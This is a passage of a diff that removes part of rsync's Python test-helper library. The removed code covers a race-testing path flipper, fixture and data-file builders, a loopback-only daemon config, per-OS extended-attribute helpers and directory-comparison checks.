*/\n-    }\n-}\n-\n-int main(int argc, char **argv) {\n-    if (argc < 3) {\n-        fprintf(stderr, \"usage: %s PATH_A PATH_B\\n\", argv[0]);\n-        return 2;\n-    }\n-    const char *a = argv[1], *b = argv[2];\n-    pid_t parent = getppid();\n-    double deadline = mono() + 300.0;   /* backstop if never reaped */\n-    while (getppid() == parent && mono() < deadline)\n-        flip(a, b);\n-    return 0;\n-}\n-'''\n-\n-_c_flipper_bin = None  # None=untried, ''=unavailable, else path\n-\n-\n-def _detect_cc():\n-    \"\"\"The C compiler the tree was built with (so the flipper matches the\n-    target), falling back to a plain cc/gcc/clang on PATH.\"\"\"\n-    cc = os.environ.get('CC')\n-    if cc:\n-        return cc\n-    import re\n-    # The generated Makefile lives in the BUILD dir (TOOLDIR); for a VPATH build\n-    # that is not SRCDIR.  Prefer TOOLDIR, fall back to SRCDIR for an in-tree build.\n-    for d in (TOOLDIR, SRCDIR):\n-        mk = d / 'Makefile'\n-        if mk.is_file():\n-            m = re.search(r'(?m)^CC\\s*=\\s*(.+?)\\s*$', mk.read_text())\n-            if m and m.group(1):\n-                return m.group(1)\n-    for c in ('cc', 'gcc', 'clang'):\n-        if shutil.which(c):\n-            return c\n-    return None\n-\n-\n-def compile_c_flipper():\n-    \"\"\"Build (once, cached) the C flipper against the build's config.h.  Returns\n-    its path, or None if no compiler is available (caller uses the Python flipper).\"\"\"\n-    global _c_flipper_bin\n-    if _c_flipper_bin is not None:\n-        return _c_flipper_bin or None\n-    cc = _detect_cc()\n-    src = SCRATCHDIR / 't_flipper.c'\n-    out = SCRATCHDIR / ('t_flipper' + ('.exe' if os.name == 'nt' else ''))\n-    if not cc:\n-        _c_flipper_bin = ''\n-        return None\n-    src.write_text(_C_FLIPPER_SRC)\n-    # config.h is generated into the BUILD dir (TOOLDIR); the Makefile compiles\n-    # with `-I. -I$(srcdir)`, so mirror that (TOOLDIR first, then SRCDIR).\n-    cmd = (shlex.split(cc)\n-           + ['-O2', f'-I{TOOLDIR}', f'-I{SRCDIR}', '-o', str(out), str(src)])\n-    proc = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n-                          text=True)\n-    if proc.returncode != 0 or not os.access(out, os.X_OK):\n-        _c_flipper_bin = ''\n-        return None\n-    _c_flipper_bin = str(out)\n-    return _c_flipper_bin\n-\n-\n-def start_c_flipper(name_a, name_b):\n-    \"\"\"Like start_path_flipper() but execs the compiled flipper for a far higher\n-    flip rate (a stronger RED oracle on slow filesystems).  Transparently falls\n-    back to the Python flipper where no compiler is available.  Returns a Popen;\n-    stop with stop_flipper().\"\"\"\n-    binpath = compile_c_flipper()\n-    if binpath:\n-        return subprocess.Popen([binpath, str(name_a), str(name_b)])\n-    return start_path_flipper(name_a, name_b)\n-\n-\n-def cp_p(src, dst) -> 'None':\n-    \"\"\"Equivalent of rsync.fns cp_p: copy preserving mode + timestamps.\"\"\"\n-    shutil.copy2(src, dst)\n-\n-\n-def make_data_file(path, size: int) -> 'None':\n-    \"\"\"Equivalent of rsync.fns make_data_file: create `path` with `size`\n-    bytes of non-trivial content suitable for rsync's delta algorithm.\n-\n-    Prefers /dev/urandom for speed. Falls back to a deterministic LCG\n-    seeded from PID and the destination path so successive calls produce\n-    distinct content -- matching the shell helper.\n-    \"\"\"\n-    path = str(path)\n-    if os.path.exists('/dev/urandom'):\n-        try:\n-            with open('/dev/urandom', 'rb') as src, open(path, 'wb') as dst:\n-                remaining = size\n-                while remaining:\n-                    chunk = src.read(min(remaining, 1 << 16))\n-                    if not chunk:\n-                        break\n-                    dst.write(chunk)\n-                    remaining -= len(chunk)\n-            if remaining == 0:\n-                return\n-        except OSError:\n-            pass\n-\n-    # Fallback: BSD-LCG to printable-ASCII (33..126), so output stays\n-    # exactly `size` bytes regardless of awk/utf8 quirks the shell\n-    # version worked around.\n-    path_seed = int.from_bytes(path.encode(), 'big') & 0xFFFFFFFF\n-    state = (os.getpid() + path_seed) % 2147483648\n-    with open(path, 'wb') as f:\n-        out = bytearray(size)\n-        for i in range(size):\n-            state = (state * 1103515245 + 12345) % 2147483648\n-            out[i] = ((state >> 16) % 94) + 33\n-        f.write(bytes(out))\n-\n-\n-def make_text_file(path, lines: int = 100) -> 'None':\n-    \"\"\"Write a predictable, self-contained text file of `lines` lines.\n-\n-    This replaces the old habit of capturing `ls -l /etc` / `ls -l /bin`\n-    (falling back to `ls /`) into the test tree. Those tied the fixtures\n-    to the host filesystem layout: the directories are absent or\n-    unreadable on Android/Termux and other minimal environments, where\n-    `ls /` fails outright, and the captured content was never\n-    reproducible. The output here is deterministic and depends on nothing\n-    outside the suite, so every platform builds the identical fixture.\n-    \"\"\"\n-    content = ''.join(\n-        \"line %06d  the quick brown fox jumps over the lazy dog  %d %d\\n\"\n-        % (i, (i * 31) % 97, (i * 131) % 89)\n-        for i in range(1, lines + 1)\n-    )\n-    with open(str(path), 'w') as f:\n-        f.write(content)\n-\n-\n-def get_testuid() -> int:\n-    return os.getuid()\n-\n-\n-def get_rootuid() -> int:\n-    return 0\n-\n-\n-def get_rootgid() -> int:\n-    return 0\n-\n-\n-def build_rsyncd_conf() -> 'Path':\n-    \"\"\"Equivalent of rsync.fns build_rsyncd_conf.\n-\n-    Writes $scratchdir/test-rsyncd.conf with the four standard modules\n-    (test-from, test-to, test-scratch, test-hidden) and a $scratchdir/\n-    ignore23 wrapper that propagates rsync's exit status except for\n-    code 23 (vanished/missing source files), which it eats so that the\n-    surrounding test can tolerate the partial-transfer case.\n-\n-    Returns the path to the config file. Tests typically follow up by\n-    setting RSYNC_CONNECT_PROG so rsync forks an in-tree daemon instead\n-    of contacting one over the network.\n-    \"\"\"\n-    conf = SCRATCHDIR / 'test-rsyncd.conf'\n-    pidfile = SCRATCHDIR / 'rsyncd.pid'\n-    logfile = SCRATCHDIR / 'rsyncd.log'\n-\n-    my_uid = get_testuid()\n-    root_uid = get_rootuid()\n-    root_gid = get_rootgid()\n-\n-    if my_uid != root_uid:\n-        # Non-root cannot specify uid/gid in rsyncd.conf.\n-        uid_line = f\"#uid = {root_uid}\"\n-        gid_line = f\"#gid = {root_gid}\"\n-    else:\n-        uid_line = f\"uid = {root_uid}\"\n-        gid_line = f\"gid = {root_gid}\"\n-\n-    conf.write_text(f\"\"\"\\\n-# rsyncd configuration file autogenerated by rsyncfns.build_rsyncd_conf\n-\n-pid file = {pidfile}\n-use chroot = no\n-munge symlinks = no\n-# Loopback only. In --use-tcp mode the daemon is also bound to 127.0.0.1\n-# (start_rsyncd passes --address), so this is belt-and-suspenders; in the\n-# default pipe mode there is no socket to guard at all.\n-hosts allow = localhost 127.0.0.0/8\n-log file = {logfile}\n-transfer logging = yes\n-# We don't define log format here so the test-hidden module defaults\n-# to the internal static string (since we had a crash trying to tweak it).\n-exclude = ? foobar.baz\n-max verbosity = 4\n-{uid_line}\n-{gid_line}\n-\n-[test-from]\n-\\tpath = {FROMDIR}\n-\\tlog format = %i %h [%a] %m (%u) %l %f%L\n-\\tread only = yes\n-\\tcomment = r/o\n-\n-[test-to]\n-\\tpath = {TODIR}\n-\\tlog format = %i %h [%a] %m (%u) %l %f%L\n-\\tread only = no\n-\\tcomment = r/w\n-\n-[test-scratch]\n-\\tpath = {SCRATCHDIR}\n-\\tlog format = %i %h [%a] %m (%u) %l %f%L\n-\\tread only = no\n-\n-[test-hidden]\n-\\tpath = {FROMDIR}\n-\\tlist = no\n-\"\"\")\n-\n-    ignore23 = SCRATCHDIR / 'ignore23'\n-    ignore23.write_text(\n-        '#!/bin/sh\\n'\n-        'if \"${@}\"; then exit; fi\\n'\n-        'ret=$?\\n'\n-        'if test $ret = 23; then exit; fi\\n'\n-        'exit $ret\\n'\n-    )\n-    ignore23.chmod(0o755)\n-\n-    return conf\n-\n-\n-def rsync_getgroups() -> list:\n-    \"\"\"List of group ids the test user is a member of, via the getgroups\n-    test helper binary. Mirrors rsync.fns rsync_getgroups.\"\"\"\n-    out = subprocess.check_output([str(TOOLDIR / 'getgroups')], text=True)\n-    return out.split()\n-\n-\n-# --- extended attributes (per-OS surface) ----------------------------------\n-# Mirrors the per-OS xset/xls/RSYNC_PREFIX/RUSR logic from the old\n-# testsuite/rsync.fns + xattrs.test so the xattr / fake-super tests run on\n-# Linux, macOS and FreeBSD (not just Linux). Test attributes use literal\n-# names (\"user.foo\" etc., exactly as the shell did on every platform); only\n-# rsync's own fake-super attribute name (RSYNC_PREFIX, used for the\n-# \"%stat\" attr) and the special \"equal\" attr (RUSR) vary by OS.\n-\n-_SYSTEM = platform.system()\n-\n-# Cygwin reports \"CYGWIN_NT-10.0-...\" and uses Linux-style user.* xattrs\n-# (rsync builds there with HAVE_LINUX_XATTRS), but CPython on Cygwin lacks\n-# os.*xattr, so we drive the getfattr/setfattr CLIs there instead.\n-_CYGWIN = _SYSTEM.startswith('CYGWIN')\n-\n-# Platforms whose user xattrs live in the \"user.\" namespace encoded in the\n-# attribute name (Linux and Cygwin). macOS/FreeBSD carry the namespace out\n-# of band and a literal \"user.\" prefix is actually rejected there.\n-_LINUX_NS = _SYSTEM == 'Linux' or _CYGWIN\n-\n-# Test attribute names are LOGICAL (un-prefixed, e.g. \"foo\", \"rsync.%stat\");\n-# _xattr_full() adds the \"user.\" prefix on the Linux-namespace platforms.\n-# RSYNC_PREFIX is the logical name of rsync's own fake-super attr (\"rsync\"\n-# -> \"rsync.%stat\", and \"user.rsync.%stat\" on Linux/Cygwin). RUSR is the\n-# prefix for the test's \"equal\" attr; macOS and Solaris use \"rsync.nonuser\"\n-# to stay clear of rsync's reserved \"rsync.*\" space.\n-RSYNC_PREFIX = 'rsync'\n-RUSR = 'rsync.nonuser' if _SYSTEM in ('Darwin', 'SunOS') else 'rsync'\n-\n-\n-def _xattr_full(name: str) -> str:\n-    \"\"\"Map a logical user-xattr name to the on-disk name for this OS.\"\"\"\n-    return ('user.' + name) if _LINUX_NS else name\n-\n-\n-def xattrs_supported() -> bool:\n-    \"\"\"True if this rsync was built with xattr support AND this platform has\n-    a way for the tests to set/list user xattrs.\"\"\"\n-    vv = run_rsync('-VV', check=True, capture_output=True).stdout\n-    if '\"xattrs\": true' not in vv:\n-        return False\n-    if _SYSTEM == 'Linux':\n-        return hasattr(os, 'setxattr')\n-    if _CYGWIN:\n-        return shutil.which('setfattr') is not None\n-    if _SYSTEM == 'Darwin':\n-        return shutil.which('xattr') is not None\n-    if _SYSTEM == 'FreeBSD':\n-        return shutil.which('setextattr') is not None\n-    if _SYSTEM == 'SunOS':\n-        return shutil.which('runat') is not None\n-    return False  # NetBSD/etc.: not yet ported\n-\n-\n-class XattrError(OSError):\n-    \"\"\"An xattr CLI refused an operation.\n-\n-    Deliberately an OSError: on Linux xattr_set() calls os.setxattr(), where a\n-    refusal IS an OSError, so callers write `except OSError`.  Every other\n-    platform shells out, and a bare CalledProcessError -- not an OSError --\n-    sails straight past that handler.  A refusal the suite tolerates on Linux\n-    would then be fatal everywhere else.\n-\n-    .errno is set only when the tool named one.  Most of these tools report a\n-    message rather than a number, and guessing an errno from localised\n-    strerror text would be worse than admitting we do not know, so a caller\n-    that switches on .errno must cope with None.\n-    \"\"\"\n-\n-\n-def _tool_errno(tool: str, msg: str) -> 'int | None':\n-    \"\"\"The errno a tool named for itself, or None if it named none.\n-\n-    Only macOS's xattr(1) reports one, as \"xattr: [Errno 13] Permission\n-    denied: '/some/path'\".  Match that tool's own prefix, and only on the\n-    first line: the rest of the line is a filename, and a file can perfectly\n-    well be called \"[Errno 5]\" -- searching the whole message would let the\n-    file being operated on dictate the errno we report.\n-    \"\"\"\n-    if tool != 'xattr' or not msg:\n-        return None\n-    import re\n-    m = re.match(r'xattr: \\[Errno (\\d+)\\]', msg.splitlines()[0])\n-    return int(m.group(1)) if m else None\n-\n-\n-def _xattr_run(argv, **kwargs) -> 'None':\n-    \"\"\"Run an xattr CLI, raising XattrError rather than CalledProcessError.\"\"\"\n-    proc = subprocess.run(argv, capture_output=True, text=True, **kwargs)\n-    if proc.returncode == 0:\n-        return\n-    msg = (proc.stderr or proc.stdout or '').strip()\n-    err = XattrError(f'{argv[0]} exited {proc.returncode}'\n-                     + (f': {msg}' if msg else ''))\n-    err.errno = _tool_errno(argv[0], msg)\n-    raise err\n-\n-\n-def xattr_set(name: str, value: str, *paths) -> 'None':\n-    \"\"\"Set the user-namespace xattr `name` (logical) = `value` on each path.\n-\n-    Raises OSError (see XattrError) on every platform if the set is refused.\"\"\"\n-    full = _xattr_full(name)\n-    for p in paths:\n-        p = str(p)\n-        if _SYSTEM == 'Linux':\n-            os.setxattr(p, full.encode(), value.encode())\n-        elif _CYGWIN:\n-            _xattr_run(['setfattr', '-n', full, '-v', value, p])\n-        elif _SYSTEM == 'Darwin':\n-            _xattr_run(['xattr', '-w', full, value, p])\n-        elif _SYSTEM == 'FreeBSD':\n-            _xattr_run(['setextattr', '-h', 'user', full, value, p])\n-        elif _SYSTEM == 'SunOS':\n-            # Solaris extended attributes are a per-file namespace; runat\n-            # cd's into it and runs a shell that reads the script on stdin\n-            # (the -c form mangles args). Pass name/value via the environment\n-            # to dodge quoting; printf writes the value with no trailing\n-            # newline, matching the byte-exact value other platforms store.\n-            _xattr_run(\n-                ['runat', p, '/bin/sh'],\n-                input='printf %s \"$XVAL\" > \"$XNAME\"\\n',\n-                env={**os.environ, 'XNAME': full, 'XVAL': value})\n-        else:\n-            raise NotImplementedError(f\"xattr_set on {_SYSTEM}\")\n-\n-\n-def xattr_dump(*paths) -> str:\n-    \"\"\"Return a deterministic name=value dump of the user xattrs on `paths`,\n-    for comparing a source tree against its rsync'd copy. The format only\n-    needs to be self-consistent on a given OS (we never compare across OSes),\n-    mirroring the per-OS xls() in the old xattrs.test.\"\"\"\n-    if _SYSTEM == 'Linux':\n-        # Read xattrs natively (symmetric with the os.setxattr used in\n-        # xattr_set) so the suite needs no external getfattr. The attr\n-        # package's CLI tools are frequently absent -- on Android/Termux\n-        # and minimal CI images -- even when the filesystem itself supports\n-        # user xattrs, in which case shelling out to getfattr would crash\n-        # the test instead of exercising it. The output mimics \"getfattr\n-        # -d\": a \"# file:\" header then sorted name=\"value\" lines, files\n-        # with no user xattrs omitted.\n-        out = []\n-        for p in paths:\n-            sp = str(p)\n-            names = sorted(n for n in os.listxattr(sp) if n.startswith('user.'))\n-            if not names:\n-                continue\n-            out.append(f'# file: {sp}\\n')\n-            for n in names:\n-                v = os.getxattr(sp, n).decode('utf-8', 'surrogateescape')\n-                out.append(f'{n}=\"{v}\"\\n')\n-            out.append('\\n')\n-        return ''.join(out)\n-    if _CYGWIN:\n-        # Python on Cygwin lacks os.*xattr, so use the CLI there.\n-        return subprocess.check_output(\n-            ['getfattr', '-d', *(str(p) for p in paths)], text=True)\n-    if _SYSTEM == 'Darwin':\n-        out = []\n-        for p in paths:\n-            t = subprocess.check_output(['xattr', '-l', str(p)], text=True)\n-            out.append('\\n'.join(ln.lstrip(' \\t') for ln in t.splitlines()))\n-            out.append('\\n')\n-        return ''.join(out)\n-    if _SYSTEM == 'FreeBSD':\n-        out = []\n-        for p in paths:\n-            names = subprocess.check_output(\n-                ['lsextattr', '-q', '-h', 'user', str(p)], text=True).split()\n-            for n in sorted(names):\n-                out.append(subprocess.check_output(\n-                    ['getextattr', '-h', 'user', n, str(p)], text=True))\n-        return ''.join(out)\n-    if _SYSTEM == 'SunOS':\n-        # List the file's extended-attribute namespace via runat (script on\n-        # stdin), skipping the always-present SUNWattr_* system attrs, and\n-        # dump name=value (sorted glob order; $(cat) drops a trailing newline).\n-        script = ('for x in *; do case \"$x\" in SUNWattr_*) continue;; esac; '\n-                  'printf \"%s=%s\\\\n\" \"$x\" \"$(cat \"$x\")\"; done\\n')\n-        out = []\n-        for p in paths:\n-            out.append(subprocess.run(\n-                ['runat', str(p), '/bin/sh'], input=script,\n-                capture_output=True, text=True, check=True).stdout)\n-        return ''.join(out)\n-    raise NotImplementedError(f\"xattr_dump on {_SYSTEM}\")\n-\n-\n-def runtest(label: str, fn, *args, **kwargs):\n-    \"\"\"Run a sub-test step with an echoed label, like rsync.fns runtest.\n-\n-    The shell helper does `Test $1: $2 ... done.` -- this prints a similar\n-    banner and propagates exceptions (which surface as a failing test).\n-    \"\"\"\n-    print(f\"Test {label}: \", end=\"\", flush=True)\n-    fn(*args, **kwargs)\n-    print(\"done.\")\n-\n-\n-def cp_touch(src, dst) -> 'None':\n-    \"\"\"Equivalent of rsync.fns cp_touch: copy preserving timestamps, then\n-    forcibly re-touch both source and destination to identical times.\n-\n-    On some filesystems cp rounds microsecond timestamps on the destination;\n-    rsync.fns works around this by then `touch -r dst src dst`. Here we set\n-    both src and dst to dst's mtime/atime after the copy, so a diff of the\n-    tls output (which prints times) sees identical entries on both sides.\n-    \"\"\"\n-    shutil.copy2(src, dst)\n-    if os.path.isdir(dst):\n-        dst = os.path.join(dst, os.path.basename(src))\n-    st = os.stat(dst, follow_symlinks=False)\n-    os.utime(src, ns=(st.st_atime_ns, st.st_mtime_ns), follow_symlinks=False)\n-    os.utime(dst, ns=(st.st_atime_ns, st.st_mtime_ns), follow_symlinks=False)\n-\n-\n-def build_symlinks() -> 'None':\n-    \"\"\"Equivalent of rsync.fns build_symlinks: a set of canonical relative,\n-    absolute, dangling and unsafe symlinks under FROMDIR for symlink tests.\n-    \"\"\"\n-    FROMDIR.mkdir(parents=True, exist_ok=True)\n-    (FROMDIR / 'referent').write_text(\n-        subprocess.check_output(['date'], text=True)\n-    )\n-    os.symlink('referent', FROMDIR / 'relative')\n-    os.symlink(str(FROMDIR / 'referent'), FROMDIR / 'absolute')\n-    os.symlink('nonexistent', FROMDIR / 'dangling')\n-    os.symlink(str(SRCDIR / 'rsync.c'), FROMDIR / 'unsafe')\n-\n-\n-def hands_setup() -> 'None':\n-    \"\"\"Populate FROMDIR with a varied tree of files and directories for the\n-    canonical 'hands' transfer test.\n-\n-    All content is generated from within the suite (srcdir contents plus\n-    make_text_file output) so the fixture is self-contained and\n-    reproducible on every platform.\n-    \"\"\"\n-    rmtree(FROMDIR)\n-    rmtree(TODIR)\n-    TMPDIR.mkdir(parents=True, exist_ok=True)\n-    FROMDIR.mkdir(parents=True, exist_ok=True)\n-    TODIR.mkdir(parents=True, exist_ok=True)\n-\n-    (FROMDIR / 'empty').touch()\n-    (FROMDIR / 'emptydir').mkdir(exist_ok=True)\n-\n-    # File list of srcdir contents, generated through the tls helper so it\n-    # matches the format the rest of the suite uses.\n-    (FROMDIR / 'filelist').write_text(rsync_ls_lR(SRCDIR))\n-\n-    # The shell test uses `echo -n` semantics; write_text without a trailing\n-    # newline is the cleanest equivalent.\n-    (FROMDIR / 'nolf').write_text(\"This file has no trailing lf\")\n-\n-    old_umask = os.umask(0)\n-    try:\n-        os.symlink('nolf', FROMDIR / 'nolf-symlink')\n-    finally:\n-        os.umask(old_umask)\n-\n-    # Concatenate all *.c files in srcdir into a single 'text' file.\n-    text = bytearray()\n-    for c in sorted(SRCDIR.glob('*.c')):\n-        text.extend(c.read_bytes())\n-    (FROMDIR / 'text').write_bytes(bytes(text))\n-\n-    (FROMDIR / 'dir').mkdir(exist_ok=True)\n-    shutil.copy(FROMDIR / 'text', FROMDIR / 'dir')\n-    (FROMDIR / 'dir' / 'subdir').mkdir(exist_ok=True)\n-    (FROMDIR / 'dir' / 'subdir' / 'foobar.baz').write_text(\"some data\\n\")\n-    (FROMDIR / 'dir' / 'subdir' / 'subsubdir').mkdir(exist_ok=True)\n-    # Predictable, self-contained fixture files (the names etc-ltr-list /\n-    # bin-lt-list are kept because other tests reference them by name).\n-    make_text_file(FROMDIR / 'dir' / 'subdir' / 'subsubdir' / 'etc-ltr-list', 120)\n-\n-    (FROMDIR / 'dir' / 'subdir' / 'subsubdir2').mkdir(exist_ok=True)\n-    make_text_file(FROMDIR / 'dir' / 'subdir' / 'subsubdir2' / 'bin-lt-list', 200)\n-\n-\n-# --- listing / verification ------------------------------------------------\n-\n-def rsync_ls_lR(directory) -> str:\n-    \"\"\"Equivalent of rsync.fns rsync_ls_lR: print a sorted ls-style listing\n-    of `directory`, pruning .git / auto-build-save / testtmp subtrees, using\n-    the project's `tls` helper so the output format matches the rest of the\n-    suite.\n-    \"\"\"\n-    cmd = (\n-        \"find . -name .git -prune -o -name auto-build-save -prune \"\n-        \"-o -name testtmp -prune -o -print | sort | sed 's/ /\\\\\\\\ /g' | \"\n-        f\"xargs '{TOOLDIR}/tls' {TLS_ARGS}\"\n-    )\n-    # tls can emit bytes that are not valid UTF-8 (a filename or symlink target\n-    # with high bytes); decode with backslashreplace so Python 3.14's strict\n-    # UTF-8 text mode doesn't raise UnicodeDecodeError.  Unlike surrogateescape\n-    # this yields a clean str (bad bytes shown as \\xNN) that callers can safely\n-    # write_text()/print() without re-raising, and it is deterministic so the\n-    # listing still compares consistently.\n-    proc = subprocess.run(['sh', '-c', cmd], capture_output=True,\n-                          encoding='utf-8', errors='backslashreplace',\n-                          cwd=str(directory))\n-    return proc.stdout\n-\n-\n-def checkit(args, expected_dir, actual_dir, skip_file_diff: bool = False,\n-            allowed_codes=(0,)) -> 'None':\n-    \"\"\"Run rsync with `args` (a list of extra rsync arguments) and then\n-    verify two things:\n-\n-      1. The tls-formatted listings of `expected_dir` and `actual_dir`\n-         are identical.\n-      2. (Unless skip_file_diff) diff -r against the two trees reports\n-         no differences.\n-\n-    `allowed_codes` is the tuple of exit codes treated as success.\n-    Pass (0, 23) for daemon-mode transfers that may report partial-\n-    transfer codes even when the listings still match.\n-\n-    Calls test_fail() on any mismatch. Mirrors the rsync.fns checkit shell\n-    helper; callers pass rsync arguments as a Python list rather than as a\n-    pre-quoted command string, which avoids the shell-quoting gymnastics\n-    that the shell version needed.\n-    \"\"\"\n-    expected_dir = str(expected_dir)\n-    actual_dir = str(actual_dir)\n-\n-    failed = []\n-\n-    # If TLS_ARGS asks for atimes, the listing must be captured BEFORE the\n-    # rsync run because diff'ing files afterwards updates their atimes.\n-    ls_from = None\n-    if '--atimes' in TLS_ARGS:\n-        ls_from = rsync_ls_lR(expected_dir)\n-\n-    print(f\"Running: rsync {' '.join(args)}\")\n-    proc = subprocess.run(rsync_argv(*args))\n-    if proc.returncode not in allowed_codes:\n-        failed.append(f\"status={proc.returncode}\")\n-\n-    if ls_from is None:\n-        ls_from = rsync_ls_lR(expected_dir)\n-    ls_to = rsync_ls_lR(actual_dir)\n-\n-    print(\"-------------\")\n-    print(\"check how the directory listings compare with diff:\")\n-    print()\n-    if ls_from != ls_to:\n-        ls_from_path = TMPDIR / 'ls-from'\n-        ls_to_path = TMPDIR / 'ls-to'\n-        ls_from_path.write_text(ls_from)\n-        ls_to_path.write_text(ls_to)\n-        diff = subprocess.run(\n-            ['diff', '-u', str(ls_from_path), str(ls_to_path)],\n-            capture_output=True, text=True,\n-        )\n-        sys.stdout.write(diff.stdout)\n-        failed.append(\"dir-diff\")\n-\n-    print(\"-------------\")\n-    print(\"check how the files compare with diff:\")\n-    print()\n-    if skip_file_diff:\n-        print(\"  === Skipping (as directed) ===\")\n-    else:\n-        diff = subprocess.run(['diff', '-r', '-u', expected_dir, actual_dir])\n-        if diff.returncode != 0:\n-            failed.append(\"file-diff\")\n-\n-    print(\"-------------\")\n-    if failed:\n-        test_fail(\"Failed: \" + \" \".join(failed))\n-\n-\n-def verify_dirs(expected_dir, actual_dir, skip_file_diff: bool = False,\n-                label: str = '') -> 'None':\n-    \"\"\"Verify two directory trees match: identical tls listings and\n-    (unless skip_file_diff) identical file contents. Same comparison\n-    logic as checkit() but with no rsync invocation -- useful when the\n-    rsync that produced `actual_dir` had to be driven manually so that\n-    its output could be captured for inspection.\"\"\"\n-    expected_dir = str(expected_dir)\n-    actual_dir = str(actual_dir)\n-    tag = f\"{label}: \" if label else \"\"\n-\n-    ls_expected = rsync_ls_lR(expected_dir)\n-    ls_actual = rsync_ls_lR(actual_dir)\n-    if ls_expected != ls_actual:\n-        ls_expected_path = TMPDIR / 'ls-from'\n-        ls_actual_path = TMPDIR / 'ls-to'\n-        ls_expected_path.write_text(ls_expected)\n-        ls_actual_path.write_text(ls_actual)\n-        diff = subprocess.run(\n-            ['diff', '-u', str(ls_expected_path), str(ls_actual_path)],\n-            capture_output=True, text=True,\n-        )\n-        sys.stdout.write(diff.stdout)\n-        test_fail(f\"{tag}directory listings differ between \"\n-                  f\"{expected_dir} and {actual_dir}\")\n-\n-    if not skip_file_diff:\n-        diff = subprocess.run(['diff', '-r', '-u', expected_dir, actual_dir])\n-        if diff.returncode != 0:\n-            test_fail(f\"{tag}file content differs between \"\n-                      f\"{expected_dir} and {actual_dir}\")\n-\n-\n-def v_filt(text: str) -> str:\n-    \"\"\"Strip the boilerplate lines rsync emits at -v / -vv so callers can\n-    diff only the file/directory change lines. Mirrors rsync.fns v_filt:\n-    delete the build/progress banners, then everything from the first\n-    blank line to end-of-text.\"\"\"\n-    out = []\n-    skip_prefix = (\n-        'building file list ',\n-        'sending incremental file list',\n-        'created directory ',\n-        'total: ',\n-        'client charset: ',\n-        'server charset: ',\n-    )\n-    for line in text.splitlines():\n-        if line == '':\n-            break\n-        if line.startswith(skip_prefix):\n-            continue\n-        if line == 'done':\n-            continue\n-        if line.endswith(' --whole-file'):\n-            continue\n-        out.append(line)\n-    return '\\n'.join(out) + ('\\n' if out else '')\n-\n-\n-def checkdiff(args, expected: str, *, filter=None, allowed_codes=(0,),\n-              direct: bool = False) -> 'None':\n-    \"\"\"Run a command, capture its stdout, optionally pipe through `filter`,\n-    then compare to `expected`. Mirrors rsync.fns checkdiff/checkdiff2.\n-\n-    args is normally a list of rsync arguments -- the rsync binary is\n-    prepended via rsync_argv. Pass direct=True to run `args` as a literal\n-    command (used by tests that drive a wrapper such as BATCH.sh).\n-    \"\"\"\n-    if direct:\n-        argv = list(args)\n-        label = ' '.join(argv)\n-    else:\n-        argv = rsync_argv(*args)\n-        label = 'rsync ' + ' '.join(args)\n-    print(f\"Running: {label}\")\n-    proc = subprocess.run(argv, capture_output=True, text=True)\n-    stdout = proc.stdout\n-    if proc.stderr:\n-        sys.stderr.write(proc.stderr)\n-    sys.stdout.write(stdout)\n-\n-    failed = []\n-    if proc.returncode not in allowed_codes:\n-        failed.append(f\"status={proc.returncode}\")\n-\n-    if filter is not None:\n-        stdout = filter(stdout)\n-\n-    if stdout != expected:\n-        from difflib import unified_diff\n-        diff = unified_diff(\n-            expected.splitlines(keepends=True),\n-            stdout.splitlines(keepends=True),\n-            fromfile='expected', tofile='got',\n-        )\n-        sys.stdout.write(''.join(diff))\n-        failed.append(\"output differs\")\n-\n-    if failed:\n-        test_fail(\"Failed: \" + \" \".join(failed))\n-\n-\n-def check_perms(path, expected: str) -> 'None':\n-    \"\"\"Verify that the 9-char rwx permission string of `path` matches\n-    `expected` (e.g. 'rwx------'). Calls test_fail() on mismatch.\"\"\"\n-    mode = os.stat(path, follow_symlinks=False).st_mode\n-    bits = [\n-        (0o400, 'r'), (0o200, 'w'), (0o100, 'x'),\n-        (0o040, 'r'), (0o020, 'w'), (0o010, 'x'),\n-        (0o004, 'r'), (0o002, 'w'), (0o001, 'x'),\n-    ]\n-    chars = [c if mode & bit else '-' for bit, c in bits]\n-    # Layer the setuid/setgid/sticky bits over x as the long-listing format does.\n-    if mode & 0o4000:\n-        chars[2] = 's' if mode & 0o100 else 'S'\n-    if mode & 0o2000:\n-        chars[5] = 's' if mode & 0o010 else 'S'\n-    if mode & 0o1000:\n-        chars[8] = 't' if mode & 0o001 else 'T'\n-    perms = ''.join(chars)\n-    if perms != expected:\n-        print(f\"permissions: {perms} on {path}\")\n-        print(f\"should be:   {expected}\")\n-        test_fail(f\"check_perms failed for {path}\")\n-\n-\n-# --- depth / cross-dir coverage helpers ------------------------------------\n-# Added for the option-coverage expansion (see testsuite/COVERAGE.md).\n-# The path-handling restructure changes how parent components resolve, so its\n-# bugs surface only at DEPTH and across directory boundaries -- these helpers\n-# build trees with an entry at every level and assert the concrete property an\n-# option controls (not just dest == src).\n-\n-def make_tree(root, depth: int = 3, *, data: bool = False,\n-              content_lines: int = 20, data_size: int = 4096,\n-              dirname: str = 'd', leaf: str = 'f'):\n-    \"\"\"Create a layered directory tree with one regular file at every level.\n-\n-    For depth=3 under `root`:\n-        root/f0\n-        root/d1/f1\n-        root/d1/d2/f2\n-        root/d1/d2/d3/f3\n-    so an option's effect can be checked at the tree root AND >=3 levels deep\n-    (the parent-component resolution the path restructure rewrites).\n-\n-    Returns (dirs, files): `dirs` the created subdirectories outermost-first,\n-    `files` the regular files shallow-first. Content is deterministic\n-    (make_text_file) unless data=True (make_data_file, delta-friendly).\n-    \"\"\"\n-    root = Path(root)\n-    root.mkdir(parents=True, exist_ok=True)\n-    dirs = []\n-    files = []\n-    cur = root\n-    for level in range(depth + 1):\n-        f = cur / f'{leaf}{level}'\n-        if data:\n-            make_data_file(f, data_size)\n-        else:\n-            make_text_file(f, content_lines)\n-        files.append(f)\n-        if level < depth:\n-            cur = cur / f'{dirname}{level + 1}'\n-            cur.mkdir(exist_ok=True)\n-            dirs.append(cur)\n-    return dirs, files\n-\n-\n-def walk_files(root) -> list:\n-    \"\"\"Every regular (non-symlink) file under `root`, sorted, recursively.\n-    For asserting a per-entry property holds at every depth.\"\"\"\n-    root = Path(root)\n-    return sorted(p for p in root.rglob('*')\n-                  if p.is_file() and not p.is_symlink())\n-\n-\n-def walk_dirs(root) -> list:\n-    \"\"\"Every subdirectory under `root`, sorted, recursively.\"\"\"\n-    root = Path(root)\n-    return sorted(p for p in root.rglob('*')\n-                  if p.is_dir() and not p.is_symlink())\n-\n-\n-def _tag(label: str) -> str:\n-    return f\"{label}: \" if label else \"\"\n-\n-\n-def assert_same(a, b, label: 